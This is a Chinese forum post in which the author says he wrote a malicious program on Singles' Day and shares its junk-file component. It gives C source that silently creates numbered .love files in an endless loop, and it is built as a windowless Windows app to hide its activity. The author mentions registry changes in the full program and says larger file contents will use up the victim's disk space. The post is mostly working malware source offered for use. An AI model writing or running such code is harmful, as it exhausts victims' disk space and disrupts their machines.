该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
话说今年的光棍节有点郁闷,好吧不只一点点,于是乎在今年光棍节就写了个恶意程序,建到死是该程序中垃圾文件生成的一部分,这里给写出来,其实灰长滴简
单,名字叫建到死,其实也并不一定,因为我的文件名是一个从1到n的数字的.love文件,n是一个long
long类型的变量,所以数字比较大,建立的文件其数字相当可观,呵呵.好,下面给源代码.(注,为了在建立文件时没有窗口,所以这里我们使用
windows应用程序,而不是控制台程序,本程序使用DEV-CPP编译,如果您的编译器为VC或其它主函数接口要设置成WinAPI的接口)
#include "stdio.h"
#include "stdlib.h"
int get_len(long long len)
{
int n=1;
while(len>=10)
{
len/=10;
n++;
}
return n;
}
int main(void)
{
long long file;
int len;
char *file_name;
FILE *fp;
const char love[]="光脚的不怕穿鞋的!"; /*写入文件的内容,这个按自己喜好了,呵呵*/
for(file=0;1;file++)
{
len=get_len(file); /*得到数字的位数,用于创建文件名时动态开辟存储空间*/
file_name=(char *)malloc(sizeof(char)*len+6); /*利用malloc动态为文件名开辟存储空间,6是为.love的字符串开辟存储空间*/
sprintf(file_name,"%lld.love",file); /*利用sprintf将我们的数字和.love变成一个字符串*/
if((fp=fopen(file_name,"w+"))==NULL)
continue;
/*如何打开文件失败,(原因有很多)就跳过本次创建进入下一个文件的创建,有点邪恶,嘿嘿*/
fprintf(fp,love); /*创建了文件,就在里面写点东西*/
fclose(fp); /*记得要关闭文件*/
free(file_name); /*记得要释放掉申请的存储空间*/
}
return 0; /*虽然没有必要,但为了好看吧*/
}
这
里的一问题就是向.love文件里写内容别人看不到,写它有什么用!呵呵,在源恶意程序中本人修改了注册表使得.love文件可以使用记事本打开,当然,
这里也并不是没有用处,比如你可以写入多一点的内容,这样就可以让你创建的文件占用磁盘空间增大,文件如果很多的话就可以消耗磁盘空间.